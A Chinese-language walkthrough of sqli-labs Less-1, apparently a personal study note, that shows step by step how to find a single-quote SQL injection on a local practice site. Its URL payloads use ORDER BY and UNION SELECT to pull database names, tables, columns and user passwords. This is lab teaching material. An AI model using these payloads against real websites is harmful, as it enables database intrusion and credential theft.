sql-labs--Less-1--Error based-Single quotes

2023-09-04 18:00:58

sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";

開啟第一關,我們看到如下介面,上面寫著Please input the ID as parameter with numeric value,它的意思是讓我們請輸入ID作為帶有數值的引數。

image-20230903233859-2352t53

我們輸入帶有id的引數:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下圖,正確回顯介面。

image-20230903234125-nor3k75

我們嘗試加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正確回顯,然後我們將and 1=1 改為and 1=2,發現正確回顯,為字元型注入,即說明存在閉合的干擾,所以我們在http://127.0.0.1/sqli-labs/Less-1/?id=1後面加一個'(單引號):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回錯誤。如下圖:

註釋:這裡and 1=1 改為and 1=2,發現正確回顯,因為id為int型別,所以傳入的 ‘1 and 1=2’ 會強制轉換成 ‘1’ ,=>最終資料庫中的查詢語句為: select * from user where id ='1'; 所以sql語句不會報錯。

image-20230904070755-4puotz3

爆的SQL語法錯誤('1'' LIMIT 0,1),多加了一個引號,即為字元型注入,說明為id='id'。

我們對‘後加--+進行註釋。不能用# ,因為url中的# 號代表html頁面中的錨點,資料傳輸過程並不會一起帶到後端,且命令傳到後端,少了一個單引號用來閉合命令(我們可以利用這種特性,在url中命令結尾新增一個單引號來代替註釋符,或者將# 改為url編碼(%23)。

然後我們使用order by對資料進行排序,檢視資料有幾列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超過3就會報錯,顯示結果超出。如下:

image-20230904105415-zm5rsps

然後進行union聯合注入(union 的作用是將兩個 sql 語句進行聯合。):當 id 的資料在資料庫中不存在時,(即使 id=-1,兩個 sql 語句進行聯合操作時,當前一個語句選擇的內容為空,就將後面的語句的內容顯示出來)此處前臺頁面返回了構造的 union 的資料。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回顯正確。如下:

image-20230904112405-o0flsqh

我們可以看出是更改select中的2,3來使我們知道我們想知道的資訊。

查詢資料庫版本和資料庫名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+

image-20230904112921-04boptb

查詢使用者名稱和作業系統:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+

image-20230904113047-e0oinbv

也可以爆出資料庫中的所有資料庫名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上邊已經將這個資料庫的庫名爆出來了,沒必要再去爆所有資料庫名。

爆出security 資料庫的資料表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

image-20230904114212-t8b9ybv

爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20230904114445-awpt6i8

爆出資料:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+

image-20230904114638-44f3ipx